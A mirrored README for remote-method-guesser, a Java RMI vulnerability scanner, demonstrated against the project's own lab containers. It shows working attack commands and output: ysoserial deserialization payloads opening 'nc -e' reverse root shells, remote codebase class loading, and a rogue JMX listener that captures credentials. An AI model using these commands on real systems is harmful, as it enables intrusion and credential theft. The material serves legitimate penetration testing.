Git Product home page Git Product logo

remote-method-guesser's Introduction

Remote Method Guesser


maven CI maven CI

remote-method-guesser (rmg) is a Java RMI vulnerability scanner and can be used to identify and verify common security vulnerabilities on Java RMI endpoints.

Remote Method Guesser Example

BHUSA Arsenal 2021

remote-method-guesser was presented at Black Hat USA2021 within the Arsenal sessions. The recording of the session and the corresponding slides are publicly available and can be found using the following links:

example server ssrf server spring server

The remote-method-guesser repository contains three example servers that can be used to practice Java RMI enumeration and attacks. The rmg-example-server exposes regular RMI services that can be enumerated and exploited using remote-method-guesser. The rmg-ssrf-server exposes an HTTP service that is vulnerable to SSRF attacks and runs RMI services that are only listening on localhost. This can be used to practice with remote-method-guesser's --ssrf and --ssrf-response options. The spring-remoting-server exposes RMI interfaces created via Spring Remoting. These are a little bit different from regular Java RMI and can be used to test the associated Spring Remoting integration of remote-method-guesser. All servers are available as containers within the GitHub Container Registry:

Table of Contents


Installation


rmg is a maven project and installation should be straight forward. With maven installed, just execute the following commands to create an executable .jar file:

$ git clone https://github.com/qtc-de/remote-method-guesser
$ cd remote-method-guesser
$ mvn package

You can also use prebuild packages that are created for each release. Prebuild packages for the development branch are created automatically and can be found on the GitHub actions page.

rmg does not include ysoserial as a dependency. To enable ysoserial support, you need either specify the path to your ysoserial.jar file as additional argument (e.g. --yso /opt/ysoserial.jar) or you change the default path within the rmg configuration file before building the project.

rmg also supports autocompletion for bash. To take advantage of autocompletion, you need to have the completion-helpers project installed. If setup correctly, just copying the completion script to your ~/.bash_completion.d folder enables autocompletion.

$ cp resources/bash_completion.d/rmg ~/bash_completion.d/

Supported Operations


In the following, short examples for each available operation are presented. For a more detailed description, you should read the documentation folder that contains more detailed information on rmg and Java RMI in general. All presented examples are based on the rmg-example-server and the rmg-ssrf-server. Both of them are contained within this repository in the docker folder and can be used to practice Java RMI enumeration. You can either build the corresponding containers yourself or load them directly from the GitHub Container Registry.

[qtc@devbox ~]$ rmg -h
usage: remote-method-guesser [-h] action ...

rmg v4.0.0 - a Java RMI Vulnerability Scanner

positional arguments:
  action                  
    bind                 Binds an object to the registry thats points to listener
    call                 Regulary calls a method with the specified arguments
    codebase             Perform remote class loading attacks
    enum                 Enumerate common vulnerabilities on Java RMI endpoints
    guess                Guess methods on bound names
    known                Display details of known remote objects
    listen               Open ysoserials JRMP listener
    objid                Print information contained within an ObjID
    rebind               Rebinds boundname as object that points to listener
    roguejmx             Creates a rogue JMX listener (collect credentials)
    scan                 Perform an RMI service scan on common RMI ports
    serial               Perform deserialization attacks against default RMI components
    unbind               Removes the specified bound name from the registry

named arguments:
  -h, --help             show this help message and exit

bind, rebind and unbind

By using the bind, rebind or unbind action, it is possible to modify the available bound names within the RMI registry. This is especially useful for verifying CVE-2019-2684, which bypasses the localhost restrictions and enables remote users to perform bind operations. When using the bind or rebind action remote-method-guesser binds the javax.management.remote.rmi.RMIServerImpl_Stub RemoteObject by default, which is the RemoteObject used by jmx servers. Additionally, you need to specify the address of the corresponding TCP endpoint where the RemoteObject can be found (address where clients should connect to, when they attempt to use your bound object).

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]

[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass 
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] 	- my-object
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]

By using remote-method-guesser's Plugin System, it is also possible to bind custom objects to the RMI registry. To learn more about the Plugin System, please refer to the documentation folder.

call

Using remote-method-guesser's call action, you can invoke remote methods without writing any Java code. Consider the method String execute(String cmd) exists on the remote server. This method sounds promising and you may want to invoke it using a regular Java RMI call. This can be done by using the following command:

[qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -

Notice that calling remote methods does not create any output by default. To process outputs generated by the call action, you need to use remote-method-guesser's plugin system and register a ResponseHandler or use the default GenericPrint plugin. GenericPrint is inlcuded into remote-method-guesser by default and can be activated by using the --show-response option.

[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response
[+] uid=0(root) gid=0(root) groups=0(root)

During the call action, the provided arguments are evaluated as Java expression by inserting them into the following template: new Object[]{ arg1, arg2, arg3, ... }. Therefore, you need to make sure that your provided arguments fit into that pattern. E.g. using "id" as an argument results in an error, as the argument is passed as id to remote-method-guesser and the resulting expression new Object[]{ id } is not a valid Java expression. Instead, you need to use '"id"' as this leads to new Object[]{ "id" }, which is valid.

Moreover, primitive types need to be specified in their corresponding object representation (e.g. new Integer(5) instead of 5). Otherwise they cannot be used within the Object[] array, that is created by the Java expression. During the RMI call, the corresponding arguments are used as intended and will fit your specified method signature. For more complex use cases, you can also define a custom ArgumentProvider by using remote-method-guessers plugin system.

codebase

Java RMI supports a feature called codebases, where the client and the server can specify URLs during RMI calls that may be used to load unknown classes dynamically. If an RMI server accepts a client specified codebase, this can lead to remote code execution when the client provides a malicious Java class during the RMI communication.

The codebase configuration on an RMI server can be different for the different components: Activator, DGC, Registry and Application Level. remote-method-guesser allows you to test each component individually by using either --signature <method> (application level), --component act (activator), --component dgc (distributed garbage collector) or --component reg (RMI registry) together with the codebase action.

Application Level:

[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service
[+] Attempting codebase attack on RMI endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call.
[+]
[+] 	Using non primitive argument type java.util.HashMap on position 0
[+] 	Specified method signature is String login(java.util.HashMap dummy1)
[+]
[+] 	Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14
[+] 	Codebase attack probably worked :)
[+]
[+] 	If where was no callback, the server did not load the attack class ExampleClass.class.
[+] 	The class is probably known by the server or it was already loaded before.
[+] 	In this case, you should try a different classname.

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 -
172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -

RMI Registry:

[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.
[+]
[+] 	Caught ClassCastException during codebase attack.
[+] 	Codebase attack most likely worked :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:09] "GET /ExampleClass.class HTTP/1.1" 200 -

Distributed Garbage Collector:

[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc
[+] Attempting codebase attack on DGC endpoint...
[+] Using class Example with codebase http://172.17.0.1:8000/ during clean call.
[+] 
[+] 	Caught ClassCastException during codebase attack.
[+] 	Codebase attack most likely worked :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -

Activator:

[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.
[+]
[+] 	Caught IllegalArgumentException during codebase attack.
[+] 	Codebase attack was probably successful :)

[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:27:13] "GET /ExampleClass.class HTTP/1.1" 200 -

enum

The enum action performs several checks on the specified Java RMI endpoint and prints the corresponding results. For a more detailed explanation on the output generated by the enum action, you can read the corresponding documentation page.

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+]   - plain-server2
[+]     --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+]         Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489]
[+]   - legacy-service
[+]     --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+]         Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761]
[+]   - plain-server
[+]     --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+]         Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145]
[+]
[+] RMI server codebase enumeration:
[+]
[+]   - http://iinsecure.example/well-hidden-development-folder/
[+]     --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub
[+]     --> eu.tneitzel.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+]   - Caught ClassNotFoundException during lookup call.
[+]     --> The type java.lang.String is unmarshalled via readObject().
[+]     Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+]   - Caught MalformedURLException during lookup call.
[+]     --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+]     Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+]   - Caught NotBoundException during unbind call (unbind was accepeted).
[+]     Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+]   - Security Manager rejected access to the class loader.
[+]     --> The server does use a Security Manager.
[+]     Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+]   - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+]     Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+]   - Caught IllegalArgumentException after sending An Trinh gadget.
[+]     Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+]   - Caught IllegalArgumentException during activate call (activator is present).
[+]     --> Deserialization allowed  - Vulnerability Status: Vulnerable
[+]     --> Client codebase enabled  - Configuration Status: Non Default

guess

When using the guess action, remote-method-guesser attempts to identify existing remote methods by sending method hashes to the remote server. This operation requires a wordlist that contains the corresponding method definitions. remote-method-guesser ships some default wordlists that are included into the .jar file during the build phase. You can overwrite wordlist locations by either modifying the rmg configuration file or by using the --wordlist-file or --wordlist-folder options. Methods with zero arguments are skipped during guessing, as they lead to real method calls on the server side. You can enable guessing on zero argument methods by using the --zero-arg switch.

[qtc@devbox ~]$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

known

When performing the enum action, remote-method-guesser marks available bound names on the RMI registry ever as known or as unknown. This decision depends on the class that is implemented by the corresponding bound name and whether the corresponding class is contained within the known endpoint list that is contained within the remote-method-guesser repository. When a bound name is marked as known, you can use the known action on the corresponding class. Doing so returns information on the corresponding class like the available remote methods, a general description and possible vulnerabilities:

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

The list of known classes, their description and the list of known vulnerabilities is far from being complete. It will hopefully grow in future and is driven by input from other users. If you encounter an RMI endpoint that implements a currently missing class and you have sufficient information (description and available methods), feel free to create an issue or pull request.

listen

Sometimes it is required to provide a malicious JRMPListener, which serves deserialization payloads to incoming RMI connections. Writing such a listener from scratch is not necessary, as it is already provided by the ysoserial project. remote-method-guesser provides a wrapper around the ysoserial implementation, which lets you spawn a JRMPListener by using the usual rmg syntax:

[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 "touch /dev/shm/test"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...

objid

The objid action can be used to display more detailed information on an ObjID. Each RemoteObject gets assigned an ObjID when it is exported by the RMI runtime. Knowledge of the ObjID value is required to communicate with a RemoteObject, which is also the case why you usually need an RMI registry. The RMI registry contains the ObjID for each bound name and remote-method-guesser displays them during the enum action.

[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+] 	- legacy-service
[+] 		--> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754]
[+] 	- plain-server
[+] 		--> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]

ObjID values consist out of different components. These components are displayed in human readable form when using the objid action on the corresponding ObjID:

[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'
[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+]
[+] ObjNum: 		1096154566158180646
[+] UID:
[+] 	Unique: 	-734386537
[+] 	Time: 		1638254048332 (Nov 30,2021 07:34)
[+] 	Count: 		-32759

Most of the displayed information is not that useful, but the Time value can be interesting. This value contains the time when the RemoteObject was created. Therefore, it allows you to determine things like the up-time of an RMI server.

scan

Sometimes you identify services that are common to ship Java RMI components with them (JBoss, Solr, Tomcat, ...), but you do not want to perform a full portscan on the corresponding host. In these situations, the scan action can be useful. It performs a quick port scan for common RMI ports only and attempts to identify RMI services on them:

[qtc@devbox ~]$ rmg scan 172.17.0.2
[+] Scanning 112 Ports on 172.17.0.2 for RMI services.
[+]
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)
[+] 	[119 / 119] [#############################] 100%
[+]
[+] Portscan finished.

By default, the scan actions uses a preconfigured list of common RMI ports. To customize the list of ports to scan, you can use the --ports option. This option accepts plain numbers and number ranges for port specifications. The dash character (-) can be used to reference the default port list.

[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)
[+] 	[HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)
[+] 	[6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.

Notice that the scan action is implemented in a simple and non reliable way. If possible, you should always perform a dedicated portscan using tools like nmap. However, the scan action can give you a quick heads-up on finding RMI ports.

roguejmx

The roguejmx actions creates a JMX listener on your system that captures credentials of incoming connections. After creating the listener, remote-method-guesser prints the ObjID value that is required to interact with it.

[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] 	--> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]

Using the bind and rebind operations you can inject this listener into an RMI registry and wait for other users connecting to your server:

[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass
[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials

Incoming connections are logged by the listener:

[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] 	--> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+]
[+] Got incoming call for newClient(...)
[+] 	Username: admin
[+] 	Password: s3crEt!

remote-method-guesser uses the ObjID value [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] by default for bind operations and the rouge JMX server. Specifying the ObjID manually as shown above is therefore not necessary. You can change the default ObjID value either via command line arguments or within remote-method-guesser's configuration file.

The rogue JMX server returns an access exception (invalid credentials) for each incoming connection by default, but you can also forward incoming connections to a different JMX instance. This makes it possible to obtain credentials from incoming client connections without disrupting any services. To forward connections, you have to specify the corresponding target as an additional argument. Targets can be specified in two different ways:

  1. The IP address and port of an RMI registry together with the bound name of the corresponding JMX instance:
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi 
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] 	--> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] 	--> Forwarding connections to: 172.17.0.2:9010:jmxrmi
[+]
  1. The IP address and port of the JMX service itself together with it's ObjID value:
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 41001 --forward-objid '[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423]'
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] 	--> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] 	--> Forwarding connections to: 172.17.0.2:41001:[-40935072:17cd9fc77c4:-7ff8, 6731522247396892423]
[+]

serial

Java RMI uses Java serialized objects within the client server communication. This makes it potentially vulnerable to deserialization attacks. These attacks can target different RMI components:

  • Well known RMI components (RMI internals)
    • RMI registry
    • DGC
    • Activator
  • User defined RemoteObjects (application level)
Well Known RMI Components

Whereas modern RMI servers apply deserialization filters on these well known RMI components (JEP290), older servers may still be vulnerable to deserialization attacks. remote-method-guesser allows to verify this by using the serial action, that can perform deserialization attacks on the Activator, Distributed Garbage Collector (DGC) or the RMI registry.

[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	Caught ClassCastException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:46209.
id
uid=0(root) gid=0(root) groups=0(root)

In case of the RMI registry, the deserialization filters may be bypassed by using the JRMPClient or the An Trinh bypass gadgets. These gadgets create an outbound RMI channel that does no longer apply deserialization filters. On this channel, deserialization attacks can be applied as usual, but both bypasses were patched in the most recent versions of Java RMI.

[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg 
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	Caught javax.management.BadAttributeValueExpException during deserialization attack.
[+] 	This could be caused by your gadget an the attack probably worked anyway.
[+] 	If it did not work, you can retry with --stack-trace to see the details.

[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash'
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 172.17.0.1:4444.
[+] Handing off to ysoserial...
Have connection from /172.17.0.2:55470
Reading message...
Sending return with payload for obj [0:0:0, 123]
Closing connection

[qtc@devbox ~]$ nc -vlp 4445
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45429.
id
uid=0(root) gid=0(root) groups=0(root)

During it's enum action, remote-method-guesser informs you whether an Activator is present on an RMI endpoint (legacy RMI component). The default implementation for the Activation system does not implement any deserialization filters for the Activator RemoteObject. Therefore, deserialization attacks on an Activator endpoint should always work, even on most recent Java versions.

[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] 	Caught IllegalArgumentException during deserialization attack.
[+] 	Deserialization attack was probably successful :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44673.
id
uid=0(root) gid=0(root) groups=0(root)
Application Level

Whereas modern Java RMI implementations protect well known RMI components with deserialization filters per default, custom RemoteObjects (actual RMI applications) are usually not protected. Remote methods that do not only use primitive types within their arguments can therefore be used for deserialization attacks. This blog post by Hans-Martin Münch explains this issue in more detail. remote-method-guesser can be used to easily verify such vulnerabilities. As an example, we can use the String login(java.util.HashMap dummy1) method of the remote-method-guesser's example server to perform a deserialization attack:

[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.util.HashMap on position 0
[+] 	Specified method signature is String login(java.util.HashMap dummy1)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430.
[+] 	Deserialization attack probably worked :)

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:35377.
id
uid=0(root) gid=0(root) groups=0(root)

More Features

remote-method-guesser includes many features that are not explained within this README.md file. Some of them are listed below:

  • Almost all operations can be used with the --ssrf option to create an SSRF payload for the corresponding operation.
  • If you obtained binary RMI server output (e.g. after an SSRF attack), you can feed it into remote-method-guesser by using the --ssrf-response option. This parses the server output as it was obtained by the specified operation.
  • remote-method-guesser can be extended by using it's Plugin System. Four interfaces (IPayloadProvider, IResponseHandler, IArgumentProvider and ISocketFactoryProvider) can be used to adopt remote-method-guesser to more complex usage scenarios.
  • During the guess action, you can use the --create-samples option to generate Java code that can be used to invoke successfully guessed methods.

More information on these features can be found within the documentation folder.

Docker Image


Since version v4.4.0, remote-method-guesser is also available as docker image and can be pulled from the GitHub Container Registry. For each release, there is a normal and a slim version available. Both provide a full working version of remote-method-guesser, but only the normal version ships with ysoserial included, resulting in a larger image size:

  • docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0 - 121MB
  • docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0-slim - 61.9MB

You can also build the container on your own by running the following commands:

[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser
[user@host ~]$ cd remote-method-guesser && docker build -t rmg .

Acknowledgements


remote-method-guesser was heavily influenced by the blog posts of Hans-Martin Münch and Jake Miller. Furthermore, the rmiscout wordlist was obviously copied from the rmiscout project (as you can already tell by the different license agreement). Thanks Jake, for this awesome wordlist of remote methods collected from different GitHub repositories.

Copyright 2023, Tobias Neitzel and the remote-method-guesser contributors.

remote-method-guesser's People

Contributors

dnet avatar qtc-de avatar wasamasa avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

remote-method-guesser's Issues

multiple bug when enumeration

hi , when i enum some target i get some error

java -jar ./rmg enum TARGET 1099

